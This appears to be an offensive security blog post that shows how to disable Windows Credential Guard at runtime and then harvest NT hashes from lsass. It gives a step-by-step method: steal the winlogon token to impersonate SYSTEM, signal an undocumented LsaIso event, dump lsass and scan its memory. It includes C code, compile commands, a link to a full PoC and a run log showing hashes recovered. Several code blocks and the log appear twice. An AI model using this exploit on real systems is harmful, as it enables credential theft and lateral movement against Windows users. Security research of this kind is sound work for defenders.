October 27, 2026
Runtime Credential Guard Deactivation
Welcome to this new Medium post, in this one we will see how to bypass Windows Credential Guard at runtime by signaling an undocumented…

By S12 - 0x12Dark Development
3 min read
Welcome to this new Medium post, in this one we will see how to bypass Windows Credential Guard at runtime by signaling an undocumented named kernel event inside LsaIso.exe, and then just dump the lsass process and it's user hashes
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
0x12 Dark Development Skip to content Join our offensive development courses and modules, and explore the techniques database with 100+ real…
Introduction
Windows Credential Guard (CG) is a VBS protection that runs the LSA credential store inside the trustlet LsaIso.exeat VTL1. When CG is active, lsass.exe never holds NTLM hashes or Kerberos tickets in VTL0 memory. All cryptographic operations are delegated to the trustlet over ALPC. Standard credential dumping tools return encrypted blobs instead of usable hashes
Most known bypass paths target CG at boot time: disabling it through registry keys or UEFI settings and rebooting. What is less documented is that CG can be shut down at runtime, without a reboot, by signaling a named kernel event that LsaIso.exe is waiting on.
The event DACL restricts access to SYSTEM. This post covers both the event signal and the token impersonation path to get there from a high integrity admin process
Methodology
- Enable
SeDebugPrivilegeon the process token - Open
winlogon.exewithPROCESS_QUERY_INFORMATIONand steal its token - Duplicate the token as
TokenImpersonationand callImpersonateLoggedOnUser - Call
NtOpenEvent+NtSetEventon\LSA_ISO_DISABLE_CREDENTIAL_GUARD(thread is now SYSTEM) RevertToSelf: back to the process token,SeDebugPrivilegestill active- Sleep 3 seconds while
DisableCredGuardWaitThreadcompletes teardown - Create a new interactive logon via
LogonUserA: this session lands in VTL0 - Open lsass with
PROCESS_VM_READ | PROCESS_QUERY_INFORMATION - Compute
MD4(UTF-16LE(password))and scan lsassMEM_PRIVATEregions for the 16 byte hash
Implementation
Signaling the event
LsaIso.exe contains a thread (DisableCredGuardWaitThread)that blocks indefinitely on the named event \LSA_ISO_DISABLE_CREDENTIAL_GUARD. When the event is signaled, the thread tears down the CredGuard credential provider and LsaIso.exe stops intercepting logon sessions. Any logon after this point stores the NT hash in plain VTL0 lsass memory
The DACL grants EVENT_MODIFY_STATE only to SYSTEM, that's the reason of the impersonation:
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\LSA_ISO_DISABLE_CREDENTIAL_GUARD");
OBJECT_ATTRIBUTES oa = {
.Length = sizeof(OBJECT_ATTRIBUTES),
.ObjectName = &name,
.Attributes = OBJ_CASE_INSENSITIVE
};
HANDLE hEvent = NULL;
NTSTATUS st = NtOpenEvent(&hEvent, EVENT_MODIFY_STATE, &oa);
// 0xC0000034 = STATUS_OBJECT_NAME_NOT_FOUND = CG already off, nothing to do
if (!NT_SUCCESS(st)) return;
ULONG prev = 0;
NtSetEvent(hEvent, &prev);
CloseHandle(hEvent);UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\LSA_ISO_DISABLE_CREDENTIAL_GUARD");
OBJECT_ATTRIBUTES oa = {
.Length = sizeof(OBJECT_ATTRIBUTES),
.ObjectName = &name,
.Attributes = OBJ_CASE_INSENSITIVE
};
HANDLE hEvent = NULL;
NTSTATUS st = NtOpenEvent(&hEvent, EVENT_MODIFY_STATE, &oa);
// 0xC0000034 = STATUS_OBJECT_NAME_NOT_FOUND = CG already off, nothing to do
if (!NT_SUCCESS(st)) return;
ULONG prev = 0;
NtSetEvent(hEvent, &prev);
CloseHandle(hEvent);The event object is removed from the kernel namespace after teardown. A second run against the same boot will always see 0xC0000034.
NT hash extraction
Sessions created before the shutdown are still protected in VTL1, their credential material was bound there at logon time. Only sessions created after the event is signaled will have their NT hash in VTL0. We create one with LogonUserA
The LUID→session→credentials pointer chain that leads to this struct lives in a MEM_MAPPED region. MiniDumpWithPrivateReadWriteMemory does not capture mapped regions, so walking the chain from a dump fails.
Instead, we compute MD4(UTF-16LE(password)) locally and scan every MEM_PRIVATE | MEM_COMMIT region in lsass for the 16 byte hash:
for (SIZE_T off = 0; off + 16 <= nread; off++) {
if (memcmp(buf + off, expected_hash, 16) != 0) continue;
ULONG_PTR hash_va = (ULONG_PTR)mbi.BaseAddress + off;
ULONG_PTR cred_va = hash_va - 0x1F6;
// username at cred_va + 0x18E
wchar_t uname[16] = {0};
memcpy(uname, buf + (off - 0x1F6 + 0x18E), 14);
}for (SIZE_T off = 0; off + 16 <= nread; off++) {
if (memcmp(buf + off, expected_hash, 16) != 0) continue;
ULONG_PTR hash_va = (ULONG_PTR)mbi.BaseAddress + off;
ULONG_PTR cred_va = hash_va - 0x1F6;
// username at cred_va + 0x18E
wchar_t uname[16] = {0};
memcpy(uname, buf + (off - 0x1F6 + 0x18E), 14);
}When the hash is found, the struct base is at hash_va - 0x1F6 and the inline username string is at base + 0x18E
Full Code
Full PoC:
https://github.com/S12cybersecurity/CredGuardRuntimeShutdown
Compile with:
gcc -o credguard_poc.exe credguard_poc.c -lntdll -lwincrypt -ldbghelpgcc -o credguard_poc.exe credguard_poc.c -lntdll -lwincrypt -ldbghelpAnd just run it as Administrator
Proof of Concept
C:\Users\sshusers\Downloads>"credguard_poc (1).exe"
=== credguard_poc.exe (Win11 24H2 / build 26200) ===
[Stage 0] Elevate privileges + impersonate SYSTEM
[+] SeDebugPrivilege enabled
[+] Thread impersonating SYSTEM via winlogon.exe (PID 720)
[Stage 1] Signal LSA_ISO_DISABLE_CREDENTIAL_GUARD (as SYSTEM)
[+] NtSetEvent -> STATUS_SUCCESS (prev state=0)
[Stage 0b] Revert SYSTEM impersonation
[+] Reverted to process token
[Stage 2] Waiting for Credguard teardown
[~] Sleeping 3s for DisableCredGuardWaitThread to complete...
[+] Resumed TCB CredGuard should be OFF (verify: WMI Win32_DeviceGuard.SecurityServicesRunning == 0)
[Stage 3] SeDebugPrivilege (enabled in Stage 0 TCB still active on process token)
[Stage 4] Creating interactive logon session (user=sshusers domain=.)
[+] New interactive session LUID = {0x00000000, 0x003B50BB}
[Stage 6] Opening lsass
[+] lsass PID = 816
[+] Opened lsass handle
[Stage 7] MiniDumpWriteDump -> C:\Windows\Temp\lsass_post.dmp
[+] Dump written TCB analyze offline: pypykatz lsa minidump lsass_post.dmp
[Stage 8] Computing NT hash and scanning lsass
[Stage 8] Scanning lsass memory for NT hash
[*] MD4(UTF-16LE(pass)) = 8846f7eaee8fb117ad06bdd830b7586c
[*] NT hash @ VA 0x000001EF5E6CD127 (MSV1_0_PRIMARY_CREDENTIAL @ 0x000001EF5E6CCF31)
NtOwfPassword : 8846f7eaee8fb117ad06bdd830b7586c
UserName (+0x18E) :
[*] NT hash @ VA 0x000001EF5E75E127 (MSV1_0_PRIMARY_CREDENTIAL @ 0x000001EF5E75DF31)
NtOwfPassword : 8846f7eaee8fb117ad06bdd830b7586c
UserName (+0x18E) :
[+] 2 hit(s) TCB NT hash accessible in VTL0 after CredGuard shutdown!
[done]C:\Users\sshusers\Downloads>"credguard_poc (1).exe"
=== credguard_poc.exe (Win11 24H2 / build 26200) ===
[Stage 0] Elevate privileges + impersonate SYSTEM
[+] SeDebugPrivilege enabled
[+] Thread impersonating SYSTEM via winlogon.exe (PID 720)
[Stage 1] Signal LSA_ISO_DISABLE_CREDENTIAL_GUARD (as SYSTEM)
[+] NtSetEvent -> STATUS_SUCCESS (prev state=0)
[Stage 0b] Revert SYSTEM impersonation
[+] Reverted to process token
[Stage 2] Waiting for Credguard teardown
[~] Sleeping 3s for DisableCredGuardWaitThread to complete...
[+] Resumed TCB CredGuard should be OFF (verify: WMI Win32_DeviceGuard.SecurityServicesRunning == 0)
[Stage 3] SeDebugPrivilege (enabled in Stage 0 TCB still active on process token)
[Stage 4] Creating interactive logon session (user=sshusers domain=.)
[+] New interactive session LUID = {0x00000000, 0x003B50BB}
[Stage 6] Opening lsass
[+] lsass PID = 816
[+] Opened lsass handle
[Stage 7] MiniDumpWriteDump -> C:\Windows\Temp\lsass_post.dmp
[+] Dump written TCB analyze offline: pypykatz lsa minidump lsass_post.dmp
[Stage 8] Computing NT hash and scanning lsass
[Stage 8] Scanning lsass memory for NT hash
[*] MD4(UTF-16LE(pass)) = 8846f7eaee8fb117ad06bdd830b7586c
[*] NT hash @ VA 0x000001EF5E6CD127 (MSV1_0_PRIMARY_CREDENTIAL @ 0x000001EF5E6CCF31)
NtOwfPassword : 8846f7eaee8fb117ad06bdd830b7586c
UserName (+0x18E) :
[*] NT hash @ VA 0x000001EF5E75E127 (MSV1_0_PRIMARY_CREDENTIAL @ 0x000001EF5E75DF31)
NtOwfPassword : 8846f7eaee8fb117ad06bdd830b7586c
UserName (+0x18E) :
[+] 2 hit(s) TCB NT hash accessible in VTL0 after CredGuard shutdown!
[done]Conclusions
The \LSA_ISO_DISABLE_CREDENTIAL_GUARD named event is an undocumented shutdown path built into LsaIso.exe that lets an attacker disable Credential Guard at runtime with no reboot. Paired with SYSTEM token impersonation from an admin process, the technique produces a complete credential access chain that requires no BYOVD, and no persistent installation
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.